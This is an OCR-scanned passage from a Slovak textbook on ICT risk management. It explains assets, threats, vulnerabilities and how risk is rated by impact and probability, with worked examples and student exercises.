aktivum posobia. UvaZujte sposobom, Co vsetko sa moze stat, Ze dojde k naruseniu
tohoto aktiva.

IKT hrozby vieme rozdelit podla toho, odkial pdsobia na nase aktivum:

e externé - moze to byt napriklad DDoS alebo kyberneticky ttok, ktory posobi
z vonkajsieho prostredia,

e interné - si hrozby, ktoré vplyvaju z interného prostredia. Moze to byt
napriklad hrozba toho, Ze mame nedostatocne zabezpecenti podporu sluzby. Ak
by napriklad znalosti o tom, ako reStartovat nasu aplikaciu, mal len jeden

26 ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 183.
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programator, v case jeho nedostupnosti alebo dovolenky by sme pri pade
aplikacie nemali schopnost aplikaciu restartovat, a preto by bola nedostupna pre
klientov. Internou hrozbou moze byt taktiez to, Ze nasi zamestnanci prezradia
tajné informacie.

(\D} Rozdel'te hrozby na interné a externé: heker; prastard UPS, nepatchovand aplikdcia;
skrachovand firma na podporu skolskych PC; pracovnicka Skoly bez povedomia
o informacnej bezpecnosti.

(\?} Do ktorej hrozby by ste zaradili priemyselného spiona? Vysvetlite.
Hrozby mézeme rozdelif aj podla toho, s akym zdmerom st vykonané na:

e umyselné - sem budu patrit kybernetické utoky vykonané nejakym ttoénikom.
Tento titoci na organizaciu s imyslom poskodit ju.

e neumyselné - netmyselnou hrozbou je vyssie spomenuty pripad vytopenia
serverovne. Priroda urcite nemala v imysle poskodit nam techniku a sposobit
nedostupnost sluzby. Taktiez sem moézeme zaradif prezradenie tajnych
informadcii zamestnancami v pripade, ak dané informdcie nevyzradili s imyslom
poskodit organizaciu, ale bolo to v dosledku nedostato¢nych znalosti o tom, aky
typ informacii nesmie byt poskytovany mimo firmu.

(\@_} Rozdel'te hrozby identifikované v predchddzajuicich cviceniach na interné a externé,
umyselné a netimyselné.

Je dolezité si uvedomit, Ze hrozby vzdy existuju a st mimo priamej kontroly biznis
vlastnika, resp. manaZzmentu informacnej bezpecnosti. S hrozbami sa vSak musime
naucit zit, pochopit ich podstatu a pricinu.

Na to, aby hrozba mala nejakti Sancu poskodit aktivum, musi pre danti hrozbu na
danom aktive existovat zranitelnost.

[= Prikladom, ked sa hrozba havarie nemdzZe naplnit, lebo aktivum (nase auto)
nema zranitelnost pre dand hrozbu. Touto zranitelnostou je zly Sofér, ktory
nema pristup k autu. KedZe nedovolime zlému Soférovi Soférovat, nemoze
spoOsobit havariu.

Zranitelnost

Ludia vo svojom Zzivote podvedome vyuzivaji manazment rizik. Predstavujeme si
svoje aktiva ako je dom, my, nasa rodina a to, ¢o vlastnime. Davame pozor, aby sa
nasim aktivam ni¢ nestalo. Ked ideme cez cestu, ddvame pozor na prechadzajtice
auta, aby nas neohrozili zrazkou, lebo sme zranitelni, auto je silnejsie a Skody na nas
su rozsiahlejsie a Casto fatalne, dokonca fatalnejsie ako pokrceny plech na aute. Ked
cakame na autobus, sledujeme, ¢i sa niekto “neobSmieta” okolo nasich veci a nie je
hrozbou, pretoze st zranitelné a je ich mozné ukradnut. Samozrejme, vacsina z nas
si nerozdeluje osobny Zivot na aktivum, hrozbu a zranitelnost, napriek tomu je tato
tedria pre nas prirodzena.
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ZraniteInost”
ZraniteInost je dierou v bezpecnosti, ktora poskytuje prilezitost pre hrozbu.
ZraniteInosti mézu vytvorit dosledky, ktoré mézu mat dopad na organizaciu.

Zranitelnost je v podstate miesto potencidlneho zneuzitia. Ulohou manazmentu
informacnej bezpecnosti je implementovat bezpecnostné opatrenia, definovat
a vykonavat kontroly tak, aby bolo zamedzené vyskytu zranitelnosti na nasich
informacnych aktivach. V pripade, ak sa zranitelnosti nedajii odstranit, potom musi
manazment informacnej bezpecnosti zabezpecit kompenzacné opatrenia, ktoré
zranitelnost minimalizuju.

=

=

o

Ak chceme eliminovat hrozbu toho, Ze nasu serveroviiu vytopi, pripadne znizit
pravdepodobnost, ze také nieCo nastane, potrebujeme analyzovat, aka
zranitenost to umoznuje. M6ze to byt napriklad umiestnenie serverovne na
prizemi budovy alebo v zaplavovej oblasti. Nasledne sa musime zamysliet nad
tym, ako sa da hrozba odstranit, napr. otazkami ako sti: Da sa presunut
serverovila na vyssie poschodie? Je mozné presunut serveroviiu do inej
budovy, ktora nie je v potencidlnej zdplavovej oblasti?

CISOs OMEZUJi

DIGITALNI RIZIKA
NA MINIMUM

AR

CISOs SE MUSEJi STAT LiDRY DIGITALNi TRANSFORMACE

Bezpetnost a fizeni rizik IT (Security and IT Risk Management, SRM) jsou nezbytné pro tispéch jakéhokoli digitalnino byznysu. Viastnici
informadi, jejichz zodpovédnost za nasazované digitaini technologie je &im dal vy3si, od vas ocekavaji, Ze jim pomizete prijimat
kvalifikovangjsi rozhodnuti a najit rovnovahu mezi riziky a benefity

Obr.: Priklad ¢lanku o 1ilohe manaZéra informacnej bezpecnosti
v digitdlnej transformdcii organizicie.?®

Inym prikladom je tunik informadcii, ktoré spdsobil neumyselne nas
zamestnanec. Pri¢inou, a teda nasou zranitelnostou, moze byt to, Ze nikdy
nebol pouceny, ¢o smie a ¢o nie a aky dopad moze mat jeho konanie na
organizaciu. Na tomto priklade je tieZ mozné demonstrovat fakt, ze aj napriek
zavedeniu systému vzdelavania a poucenia, aby tieto znalosti nasi zamestnanci
mali, neeliminujeme tto zranitenost uplne (nevieme sa nachadzat v hlave
nasich zamestnancov a kontrolovat, ¢o povedia). Tymito opatreniami vsak
zniZzime pravdepodobnost zneuzitia identifikovanej zranitelnosti.

Privadte zramitelnosti ku hrozbdm, ktoré ste identifikovali v predchidzajiicich
cviceniach.

27

28

ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 30.
CISOs omezuji digitalni rizika na minimum; Dostupné online [21.1.2024]

https://kpc-group.cz/bezpecnost-rizeni-rizik
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Odhalili ich premysleny podvod:
Zamestnanci sposobili skodu za
takmer 5- tisic eur

Policajti objasnili podvody v jednom z internetovych
obchodow.

Dvaja pracovnici spdsobili svojmu zamestnavatelovi Skodu takmer 35-
tisic eur. Viysetrovatel zo zlocinu kradeze spachaného zavaznejsim
spésobom konania obvinil 41-roéného Petra z Bratislavy a 36-roéného
Lubomira z okresu Humenne.

Ako informovala bratislavska krajska policia, obvineni nezavisle od seba
vytvarali internetové objednavky na rézny tovar na fiktivnych
objednavatelov, a aj na seba. Ked bol objednany tovar doruceny na
pobocku obchodu, v internom systéme zmenili jeho oznaéenie a

nasledne si tento tovar ponechali.

Obr.: Priklad ZneuZitia prdvomoci zo strany zamestnanca v internetovom obchode.”

(\D_} Vysvetlite, o v predchddzajiicom v priklade bolo aktivum alebo aktiva, co bola hrozba
a ¢o bola zranitelnost. Navrhnite, akym sposobom by sa dalo takejto situdcii
predchddzat.

Vzijomny vztah jednotlivych prvkov

Vysvetlili sme si jednotlivé diely skladacky manazmentu rizik. Budeme pokracovat
tym, Ze si vysvetlime, akym sposobom je mozné tieto diely skladacky zlozit dokopy.
Predstavime si, aky maju vztah a ako sa vzdjomne ovplyviiuja.

Budeme sa zameriavat na tri zakladné piliere, aktivum, zranitelnost a hrozbu,
pomocou ktorych vieme definovat IKT riziko. Tieto piliere st navzajom uzko
previazané a IKT riziko bez ktorejkol'vek casti pilieru neexistuje.

»  QOdhalili ich premysleny podvod: Zamestnanci spdsobili sSkodu za takmer 35-tisic eur.

Dostupné online [21.1.2024] https://www.cas.sk/clanok/865528/odhalili-ich-premysleny-
podvod-zamestnanci-sposobili-skodu-za-takmer-35-tisic-eur/
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Ich vzajomny vztah vysvetluje nasledujtici obrazok:

Agent hrozby

l vyvoldva
Hrozba H Zranitelnost P Riziko
zneuZiva vedie k
na

Aktivum

Je mozné ovplyvnit
/ odstranit

Obr.: Riziko - vztah hrozby, zranitelnosti a aktiva®

Slovne si vztah mézeme vyjadrit nasledovne:

Evidujeme riziko, Ze agent hrozby vykona hrozbu tym, Ze vyuzije zraniteInost na
aktive, aby poskodil a narusil samotné aktivum.

[ Teraz pouzime tento priklad:

Utoénik mé za ciel ukradnut data organizacie (hrozba), ktoré sa nachadzaju
v jej aplikacii (aktivum). Utoénik (agent hrozby) zneuZije slabé Sifrovanie
(zranitel'nost), ktoré sa v aplikacii vyuZziva a takymto sposobom data ukradne.

Aby sme dostali odpoved na otazku, preco je potrebné mat vSetky tri Casti
skladacky, aby bolo mozné definovat riziko, je vhodné pripomentt si, Ze riziko
definujeme ako nasledovnui rovnicu:

Riziko = Dopad x Pravdepodobnost.

Nésledne vieme odvodit nasledujiuce zavery, ktoré si odpovedou na otdzku
potreby vsetkych troch prvkov pri definicii rizika:

o Ak by sme nemali aplikaciu, ¢o je nase aktivum aj s citlivym datami, nemali by
sme ni¢, na ¢om nam v ramci nasho biznisu zalezi, ni¢, ¢o ma pre nas v tomto
zmysle hodnotu, tym padom ndm nema co spdsobit nejaku stratu, nejaky
dopad. Ak je dopad rovny nule, riziko je tiez rovné nule.

e Ak by neexistovala hrozba, nema ¢o spdsobit dopad. Z uvedeného vyplyva, ze
riziko je opat nulové. Tu je vSak dodlezité pripomenut, tak ako sme si vyssSie
spomenuli, Ze hrozby jednoducho existuji a ako biznis vlastnik alebo manazér
bezpecnosti vdcsinou nemame na ne vplyv.

% ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 25.
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e QOdstraniovanim zranitelnosti zniZzujeme naopak pravdepodobnost, ze hrozba
narusi nase aktivum. Niekedy vieme pravdepodobnost znizit Giplne na nulu,
inokedy nie.

Cielom informacnej bezpecnosti z pohladu manazmentu rizik je analyza
pritomnosti zranitelnosti a ich nasledné odstranenie, ¢im sa v ¢o najvacSej moznej
miere zabrani, aby nejaka hrozba naruSila nase aktivum. Ak nie je mozné
zranitenost z aktiva odstranif, mézeme sa na zaklade analyzy rozhodnut, ze
aktivum s identifikovanou zranitelnostou v organizacii nechceme. To znamena:
neprijmeme dané aktivum (napr. nebudeme pouzivat zranitent aplikaciu alebo si
neotvorime pobocku v oblasti s vysokou kriminalitou). Niekedy zranitelnost
nevieme odstranit z objektivnych doévodov (napriklad prili§ vysokd cena za
implementaciu technického zabezpecenia). Ak sa napriek tomu rozhodneme prijat
aktivum aj so zranitelnostou, podstupujeme riziko, ktoré nasledne spravujeme
(monitorujeme, znizujeme jeho mozny dopad), a to je icelom manazmentu IKT
rizik.

Niekedy moze byt naro¢né rozoznat hrozbu od zranitelnosti. Pre lepSie pochopenie
sluzi aj nasledujuci obrazok, ktory demonstruje vztah: Ak je na aktive pritomna
zranitelnost, ktora umoznuje, aby nastala nejaka hrozba, vznika riziko:

s Hrozba

[ -t Zanie ---T Hrozba Riziko]

+-r. telnost

Hrozba

Aktivum

Obr.: Riziko a jeho Easti

\®_} Rozhodnite, ktoré z nasledujiicich poloZiek sii zranitelnostou a ktoré hrozbou:

zlyhanie sluzby s dévodu DDoS zranitelnost | hrozba
povolené pouzivanie slabych hesiel zranitelnost' / hrozba
chybajiice sifrovanie prendsanych dit zranitel'nost' / hrozba
ransomware zranitelnost' / hrozba

persondl bez bezpecnostného poucenia zranitelnost / hrozba

Naucdili sme sa, ako vznikne riziko. V d'alSej casti si prezradime, ¢o robit, ak riziko
identifikujeme, pretoze potrebujeme posudit zavaznost rizika. Toto vsetko si
vysvetlime v nasledujicej kapitole.
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Ako merat riziko?

Uz vieme, zZe kazdy z nas vo svojom zivote, aj ked podvedome, naraba s rizikami,
a tak sa chrani. My v zasade vieme vyhodnotit, resp. merat riziko. Robime to tiez
podvedome. Ak sa vratime k prechodu cez cestu, tak vieme, ktoré auto nas ohrozuje.
To blizke a rychle je nebezpecné, s velkou zavaznostou. Je esSte nebezpecnejsie, ak
vidime, Ze vodi¢ pracuje s mobilom a nedava pozor na premavku. To, ktorému
vieme len rozoznat v dialke svetld, tam je hrozba ovela menSia a zo zaparkovaného
a vypnutého auta vedl'a nas riziko veru nehrozi.

Ak chceme definovat, ako merat riziko, vo vSeobecnosti mdzeme povedat, Ze ak
riziko odmeriame, ziskame zavaznost rizika. Ak tato zavaznost chceme popisat
presnejsie, vyuzijeme informacie z tivodnej kapitoly, kde sme si predstavili vztah,
ku ktorému sa budeme neustale vracat:

Riziko = Dopad x Pravdepodobnost

Pre matematicky zameranych citatelov je zrejmé, Ze samotna rovnica oznacuje
veli¢iny, ktorymi vieme vyjadrit zavaznost rizika. Pred tym, ako si tieto veli¢iny
vysvetlime, povedzme si najskor, preco potrebujeme merat riziko.

Ulohou manazmentu IKT rizik v organizacii je byt komunikaénym nastrojom medzi
Iud'mi, ktorych zodpovednostou je nastavovat bezpecnostné pravidla spolu s timom
bezpecnosti a biznis vlastnikmi, teda fTudmi zodpovednymi za biznisové ulohy
organizacie (napr. “zarabanie” penazi). To znamena, Ze potrebujeme komunikovat
technickti zranitelnost tak, aby bolo jasné, aky dopad ma zranitelnost na
organizaciu a jej aktiva, a procesy.

[ Opit si pripomerime modelov situdciu Petra z modrej organizacie, kde biznis
vlastnik chcel priniest novu aplikaciu, ktord podla Petrovej analyzy obsahovala
niekolko technickych zranitenosti. Povedzme, Ze jednou konkrétnou
technickou zranitelnostou je chybajtice Sifrovanie dat v databazach. Pre kazda
firmu je najdolezitejSie zachovat funkcnost organizacie. V pripade firmy je to
vytvaranie zisku. Toto je primarnym cielom existencie organizacie. Inak to nie
je ani v tejto modrej organizacii. Ak by Peter nemal vo firme implementovany
manazment rizik a priiel by prezentovat, preco nie je mozné aplikaciu nasadit,
mohli by ho zaskocit otazky:

> Ako velmi je to nebezpecné?
o Aky dopad to moZe mat na spolo¢nost?
o Myslite, Ze je pravdepodobné, Ze sa tak stane v najblizsich piatich rokoch?

Ako sa da riziko znizit, resp. odstranit, ak aplikdciu budeme implementovat?

Manazment organizdcie sa musi rozhodntit a manazér rizik je zodpovedny za to, ze
pripravi a poskytne vsetky podklady. Pre spravne rozhodnutie si manaZment
organizacie potrebuje polozit na pomyselné misky vah dévody; na jednu stranu,
preco ma zmysel aplikaciu implementovat a adaptovat a urcite potrebuje poznat
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predikcie, kolko moze firme implementdcia aplikacie zarobit za najblizsie obdobie.
Na druhtt misku pri rozhodovani polozi dovody, preco by sa mal tejto aplikacii
vyhnut alebo ako aplikaciu upravit tak, aby sa riziko zminimalizovalo a ¢i ochrana
je vObec moznd. Aby vedel tieto misky porovnat, musia byt obe vyjadrené
v porovnatelnych veli¢inach. Nem&Zeme porovnavat napriklad zisk 300 000 EUR za
mesiac s hodnotou rizika “kritické”, bez potrebného povedomia, lebo nik nebude
rozumiet, o slovo kritické v tomto pripade znamena. Ulohou manazmentu IKT
rizik je prelozit technicku zranitelnost do reci biznisu. Toto sa mo6ze urobit tak, ze
podla nastavenej metodiky sa vyhodnoti dopad a zaroven urci, ako je
pravdepodobné, ze takato zranitelnost bude naozaj zneuzita, a teda, ze sa hrozba
naplni a narusi aktivum. Je dolezité spomentt, Ze kazdé riziko musi mat urceny aj
dopad aj pravdepodobnost, lebo len tak je mozné urcit jeho zavaznost a vdaka tomu
pomoct pri rozhodovani a prioritizacii. Ak budt vsetci poznat metodiku riadenia
rizik, potom bude jasné, ¢o je dopad, ¢o je pravdepodobnost a aj aky je dopad na
aktivum a vtedy slovo kritické dostane plnohodnotny vyznam a je mozné
porovnavat toto slovo s aktivitami organizacie na danom aktive. To, ako vyjadrit
dopad a pravdepodobnost, si vysvetlime v dalSich kapitolach.

o
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Meranie dopadu rizika

V predchadzajucom priklade sme pouzili meranie dopadu pod slovom kritické.
V priklade sme slovo dalej nevysvetlovali. V tejto kapitole sa budeme podrobnejsie
venovat meraniu dopadu. Cielom merania dopadu je urcit, do akej miery moze
riziko ovplyvnit tlohy organizécie, resp. fungovanie organizacie. Aby toto bolo
mozné urcit, je potrebné si v metodike manazmentu IKT rizik definovat hodnotiacu
skalu. Rozne organizacie mozu mat rozne definované hodnotiace skaly. Je vhodné,
ak je hodnotiaca $kala definovand vzhladom na potreby organizacie. Skala potrebuje
mat niekolko tirovni vel'kosti dopadu (napr. nizky, stredny, vysoky) a kazda aroven
potrebuje mat urcené kritéria, ktoré budu definovat, do akej arovne riziko spada.
Kritéria st nevyhnutné na to, aby sa dopad urcoval vzdy rovnakym sposobom
a nestalo sa, ze novy manazér rizik bude vyhodnocovat rizika inak. Rozne
ohodnocovanie IKT rizik by viedlo k r6znym hodnotdm a k chybnym zaverom, co je
dolezité prioritne riesit pri znizovani alebo odstranovani rizik.

[= Priklad hodnotiacej skaly pre dopad:

Uroven Ciselné vyjadrenie NS
, Kritéria tirovne dopadu:
dopadu uarovne dopadu

e financna strata max. 10 000 €
nizky 1 e poskodenie reputdcie - negativne
prispevky na socialnych sietach

e financna strata 10 001 - 100 000 €
e poskodenie reputdcie - negativne

stredny 2 . D 7
Y spravy vo vnutrostatnych novinach a /
alebo spravach
e financna strata viac ako 100 000 €
, e poskodenie reputdcie - negativne
vysoky 3 P P &

spravy v medzinarodnych novinach a /
alebo spravach

Na tomto priklade vidime, ze r6zne typy kritérii st spojené kvoli zjednoduseniu
pohladu. Financna strata je typickym typom finanéného alebo kvantitativneho
dopadu (financnt stratu vieme presne vyjadrit ¢islom). Poskodenie reputacie je
prikladom nefinan¢ného alebo kvalitativneho dopadu (nevyjadrujeme ho presnym
Cislom, ale je to ukazovatel dopadu na nasu kvalitu. Kvalitativny parameter sa
ohodnocuje slovne popisanymi stupriami, napr. tak, ako je to uvedené vysSie
v priklade). Pri definovani hodnotenia dopadu je niekedy vyhodnejsie pouzit
zjednoduseny pristup uvedeny v priklade, ktory spaja rozne typy dopadu. Inokedy
mozeme rozdelit hodnotenie podla réznych typov dopadu. Tento priklad popisuje
len jeden suhrnny typ dopadu, kde v ramci kazdej trovne mame viacero kritérii,
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pricom staci, Ze je splnené jedno. Ak je splnené jedno kritérium z vyssej tirovne
ajedno z nizsej, vZdy volime to z vyssej tirovne. Tento princip sa nazyva “najhorsi-
pripad” (z angl. worst-case) a vo vSeobecnosti je Casto pouzivanym postupom
v manazmente rizik. V pripade, Ze sa rozhodujeme medzi dvoma roznymi
finanénymi stratami, ktoré moézu potencidlne nastat, vzdy pre ohodnotenie
vyberieme tt horsiu. Chceme byt predsa pripraveni na to najhorsie.

Worst-case sa aplikuje aj v pripade, ked sa dopady menia v Case, napr. e-shop
s hrackami ma typicky vyznamny rozdiel v dopadoch v ¢ase nakupov pred
Vianocami a pocas leta. To znamend, ze dopad rizika sa zvysuje v ¢ase vyssieho
pouzivania a neskor je pravdepodobnost a nasledok dopadu nizsi.

\®_} Vezmite si lubovolné riziko, ktoré ste popisali v predchddzajiicich cviCeniach.
Vysuvetlite, i sa riziko meni v priebehu tyZdiia, mesiaca alebo roka.

(\?} Odhadnite dopad rizik, ktoré ste popisali v predchddzajiicich cviceniach.

Existuje velké mnozstvo metodik a my sa mozeme stretntt s réznymi pristupmi
k definovaniu skaly pre hodnotenie dopadov. Niekde sa dokonca mézeme stretntit
aj s ich rozdelenim na viaceré typy. Tak ako bolo vyssie spomenuté, organizdcia sa
rozhodne pre také nastavenie, ktoré bude ¢o najlepsie vyhovovat jej potrebam, aby
ziskala ¢o najpresnejsie hodnotenie dopadu rizika®.

Meranie pravdepodobnosti rizika

Pri odhade pravdepodobnosti by sme si mali zodpovedat otazku: Ako
pravdepodobné je, Ze riziko sa naplni, a teda dojde k odhadovanému dopadu? Opét
je potrebné si definovat hodnotiacu skalu pre pravdepodobnost, teda jednotlivé
urovne pravdepodobnosti a kritéria, kedy je dana troven dosiahnutd. Pri tomto
odhade nam moze pomdct viacero pomocnych otazok:

Boli za posledné obdobie zaznamenané nejaké bezpecnostné incidenty na danom
aktive? - Ak za posledny rok evidujeme viacero bezpecnostnych incidentov, ako napriklad
nedostupnost’ sluzby z dovodu vypadku, je pomerne vysoko pravdepodobné, Ze takyto
vypadok nastane aj nasledujiici rok.

Je vykon hrozby technicky a/alebo expertne narocny? - Ak na vykonanie hrozby je
potrebny vel'mi velky vypoctovy vykon alebo privelké financie, je menej pravdepodobné, Ze sa
na jej realizdciu zameria $iroké spektrum titocnikov. Dalsim priklad mensej pravdepodobnosti
vykonania titoku je potrebnd znalost nejakej internej konfigurdcie. Najskor by musela
unikniit’ samotnd konfigurdcia, co je sice mozné, ale menej pravdepodobné.

3t pri rozumnych nakladoch na stanovenie dopadu
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[ Priklad hodnotiacej $kaly pre pravdepodobnost:

. . Ciselné vyjadrenie s
Uroven , Y) Kritéria irovne
. urovne .
pravdepodobnosti depodobnosti pravdepodobnosti
pravdepodobnosti
ok 1 Ocakavam, ze udalost nastane
nizka .,
maximalne raz za 10 rokov.
tredna ’ Ocakavam, ze udalost nastane
stredna o Teves .
raz za najblizsich 2 az 5 rokov.
» 3 Ocakavam, ze udalost nastane
vysoka
y raz za 1 rok.
e 1 Ocakavam, ze udalost nastane
kriticka 4 . ,
viac krat za 1 rok.

Opit plati, Ze skaly na hodnotenie pravdepodobnosti mozu byt r6zne, zalezi na tom,

aky model organizacii vyhovuje. Tento pristup vSak mozeme povazovat
zakladny princip.

za

(\D} Vezmite si lubovolné riziko, ktoré ste popisali v predchidzajiicich cviceniach.

Vyhl'adajte na internete, ¢i sa uvedené riziko vyskytlo. Podla poctu roznych ndlezov
rovnakého typu rizika sa pokiiste odhadnut’ frekvenciu vyskytu rizika.

Je potrebné spomentt, Ze odhadnutie dopadu a pravdepodobnosti rizika nie je

exaktna veda. Pre takyto odhad je potrebna ista miera abstrakcie a odborného
odhadu na zdklade znalosti a skuisenosti. Odborny odhad méze doplnit,
pripadne v niektorych situaciach aj nahradit, expertny systém, ktory by takéto
vyhodnotenie na zaklade vstupnych dat definoval. Ako pomodcka v tomto
pripade sltzia vstupné informacie, ktoré sme si vysSie spomenuli. Pri
samotnom ohodnoteni je vhodné pocitat s najhorsim moznym odhadom.

Predstavme si nasledujicu modelov situdciu, pri ktorej si ohodnotime jedno
konkrétne riziko. Vo firme posobiacej v strednej Eurdpe a Australii, ktorej
hlavnym biznis modelom je poskytovanie klientom investovanie na burze,
existuje centralna aplikdcia, ktord slizi na to, aby mohli zaregistrovani klienti
nakupovat a predavat akcie v redlnom case. Na akciovom trhu hra cas
a rychlost spracovania poziadavky vyznamnt tilohu, pretoze zmena ceny akcie
modze predstavovat vyrazny zisk alebo naopak stratu pre klienta. Z toho
dovodu tato centrdlna aplikdcia bezi samostatne na serveroch pre Australiu
a samostatne pre strednt Eurdépu. Vypadok servera na jednom z tychto
geografickych oblasti tak neovplyvni ta druht.

Geografickd oblast Pocet klientov
Eurdpa 750 000
Australia 350 000
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Vo firme chca vyskusat implementovat novu funkcionalitu, aplikacné prepojenie
s aplikaciou partnerskej spolo¢nosti na spravu nehnutelnosti, aby tak rozsirili
portfdlio, do ktorého je mozné investovat. Pri analyze bolo zistené nasledovné:

e ak tieto dve aplikacie prepoja, vypadok jednej sposobi aj vypadok druhej
a naopak,

e pre aplikdciu na spravu nehnutelnosti nemaju Ziadnu siefovii ochranu proti
hrozbe DDoS utoku.

Z tohto dovodu sa firma rozhodla potencialne riziko znizit a poskytnut tito nova
funkcionalitu, a teda aj aplika¢né prepojenie, len pre klientov Eurépy. Napriek tomu
riziko zostava, preto si ho firma ohodnotila a zaregistrovala. Na ohodnotenie pouzili
vyssie uvedené tabulky pre dopad a pravdepodobnost.

Dopad Odovodnenie hodnotenia: Hodnotenie
e Aj kratky vypadok moze klientom (podla V?’ééie
spOsobit vyrazné straty, uvedenej
e pri spravovanom portfdliu (ak si tabulky):

spocitame vSetky vklady) je strata
uz pri jednej hodine nefunk¢énosti
vyssia ako 100 000 eur,

e Kklienti sa nachadzajui vo viacerych vysoky
krajinach, jednalo by sa teda
o medzindrodny reputacny dopad.
Pravdepodobnost Odovodnenie hodnotenia: Hodnotenie
e V pripade vypadku je mozné (podla Vyééie
v rdmci 30 minut spustit zalozné uvedenej
riesenie, ktoré izoluje aplikaciu tabulky):
s nehnutelnostami. Nebude mozné,
aby klienti pocas DDoS ttoku
investovali aj do nehnutelnosti, stredna

budti mat ale moznost
manipulovat s ostatnymi akciami.
e Ztoho vyplyva, ze
pravdepodobnost, ze ddjde az
k statisicovym stratdm, je podla
aktualnych odhadov zniZena.
e Predpokladdme, Ze k takémuto
stavu moze dojst v najblizsich 2
rokoch.

Vsimnite si, Ze na hodnotenie rizika je potrebné poznat zavislosti a ¢o najpresnejsie
rozsahy, akého biznisu sa riziko tyka. Taktiez pre hodnotenie dopadu a aj
zranitelnosti je vypracované kratke slovné zdovodnenie. Slovné zdovodnenie je
potrebné preto, aby vzdy, ked sa niekto k tomuto riziku vrati, videl vstupné atributy
a postupy, akym spdsobom bola zavaznost rizika definovana. Takéto hodnotenie
zvacsa nevie urcit sam manazér IKT rizik, je potrebna diskusia pri odovodnovani
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najma s biznis vlastnikom, ktory, v nasom pripade, detailne pozna sumarne toky
financii v aplikacii, nakupy, predaje a zisky.

Hodnotenie rizika moZzete vyjadrit ako dve samostatné cisla, jedno pre dopad
a druhé pre pravdepodobnost, respektive ich mozete agregovat (zoskupit) do
jedného ¢isla. Rozhodnutie je na organizacii, ktord implementuje manazment rizik.
Dolezité je postup metodicky ukotvit dokumentom, aby bol pristup jednotny
a transparentny pre kazdé riziko.

[= Agregicia moze vyzerat ako sucin pravdepodobnosti a dopadu a nasledné
rozdelenie skaly na tri drovne rizika tak, ako je to uvedené na nasledujucom

obrazku:
2 3 3 6 9
§ 2 2 4 6
1 1 2 3
1 2 3
PRAVDEPODOBNOST

Celkova ; :
LY ;.. Nizke Stredné
zavaznost rizika:

Obrazok znazornujuci priklad agregacie dopadu a pravdepodobnosti do jednej
zavaznosti rizika.

= Pravdepodobne ste uz boli svedkami situacie, ked rodi¢ia jednému zo
surodencov zakazali ist von a druhého pustili. Oni tiez vyhodnotili rizika. Pre
pozorovatela by sa zdalo riziko pre oboch stirodencov rovnaké. Pre rodicov nie.
Rodicia by tiez vedeli vysvetlit, aké rizika pre kazdého zo surodencov vzali do
uvahy a ako vypocitali alebo odhadli zavaznost kazdého rizika. Ak by sa tak
stalo, moZno by pre vas vysledok nebol az taky prekvapujuci.

[ Vezmime si teraz riziko ukradnutia notebooku zamestnancom:

e pravdepodobnost bude 4 - kriticka, pretoze z Helpdesku vieme, Ze stratu
notebooku nahlasuju zamestnanci spravidla raz za 2-3 mesiace,

e hodnotenie dopadu sa pohybuje medzi 2 az 3, preto vyuzijeme princip
“najhorsieho pripadu” a hodnotime dopad ako 3 - vysoky:

o financny dopad - cena notebooku (cca. 1500€), cena dat (10.000€ - 1.000.000€)
a cena prace na instalaciu nového zariadenia (100€).

° navySe musia byt zapocitané reputacné skody a pod.

Celkova hodnota rizika bude 12 - vysoké riziko.
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Cielom IKT manazmentu rizik je v rdmci znamych aktiv analyzovat pritomnost
zranitelnosti, nasledne objavené zranitelnosti spdjat s hrozbami, ktoré mozu
potencialne vdaka danym zranitelnostiam poskodit aktivum, ¢im vlastne vznikaju
rizika. Pripadne opacne analyzu vykonat najskor cez identifikaciu hrozieb.
Nasledne rizika ohodnotit tak, aby bolo moZzné sa rozhodntit, ¢i s danym rizikom vie
organizacia existovat alebo nie. Potom je potrebné nasadif napravné
bezpecnostnostné opatrenia.

Proces a zZivotny cyklus

Teraz, ked sme si uz predstavili zdkladné pojmy, si méZeme predstavit manazment
IKT rizik ako proces. UkaZeme si, z akych casti tento proces pozostava a aka tulohu
plnia. Nasledujtici obrazok znazornuje zivotny cyklus manazmentu IKT rizik.

Identifikacia

rizika
Monitorovanie , .
., , Posudenie
rizik a opatreni; ..

. rizika
reportovanie
Reakcia na
riziko

Obr.: Zivotny cyklus manazmentu IKT rizika.
Identifikacia rizika

Vratme sa k prikladu, pri ktorom rodicia jedného stirodenca pustili von a druhy
zostal doma. Dévodom umoznenia odchodu von a aj to, ze druhy stirodenec zostal
doma, bolo to, Ze rodicia si vedeli uvedomit rizikd, ktoré mézu nastat, ak pdjde dieta
(aktivum) von. Vyhodnotili ich a nedovolili mu opustit domov. Zoznam rizik si
urobili automaticky, poznajui vonkajsie prostredie, poznaji ticel, ¢o dieta chce robit,
poznaji kamaratov, vedia odhadnut spravanie celej skupiny a najma ich diefata.
V redlnom zivote vSak nie je jednoduché poznat celti firmu a mysliet na vsetky
zariadenia, procesy, aplikacie, fudi a prostredia a budovy. Existuje mnozstvo

32 ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 19.
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faktorov. Preto je potrebné nastavit proces, ktory pomoze rozoznat kazdé riziko, aby
sa na ziadne nezabudlo.

Pri identifikacii rizika v skutocnosti nejde len o jediny proces, ale o skupinu
viacerych samostatnych procesov, ktorych cielom je preskiimavanie prostredia
a objavovanie rizik. Aby bolo preskiimanie prostredia efektivne a kompletné, je
potrebné vykonavat ho systematicky. Ak to chceme dosiahnut, je potrebné mat
v organizacii zavedeny inventar IKT aktiv. Aby sme vedeli identifikovat riziko, je
najskor potrebné vediet, na akom aktive ho chceme preskimat. KedZe Zijeme
v meniacom sa svete, je potrebné nastavit procesy, ktorymi zabezpecime, aby boli
aktiva preskiimavané v pravidelnych intervaloch.

Co znamena preskiimanie aktiva na pritomnost rizika?

Presktimanie rizika je vlastne analyzou, ktora ma dat odpoved na otazku, ¢i je
zranitelnost na aktive pritomna alebo nie. Ak je zranite[nost pritomna, je potrebné
urcit, ktoré hrozby mézu vdaka tejto zranitelnosti ohrozit nase aktivum. Iny pohl'ad
na analyzu je taky, Ze preskimame, ktoré hrozby st pre nase aktivum relevantné
a nasledne analyzujeme zranitelnosti, ktoré by tieto potencidlne hrozby mohli
sposobit. V kazdom pripade ndm tu, okrem vyssie spominaného inventara aktiv,
vstupuje do hry dalsi element - kataldg zranitelnosti a hrozieb.

@ Porovnajte si navzdjom identifikované hrozby a zranitelnosti na aktivach skoly.
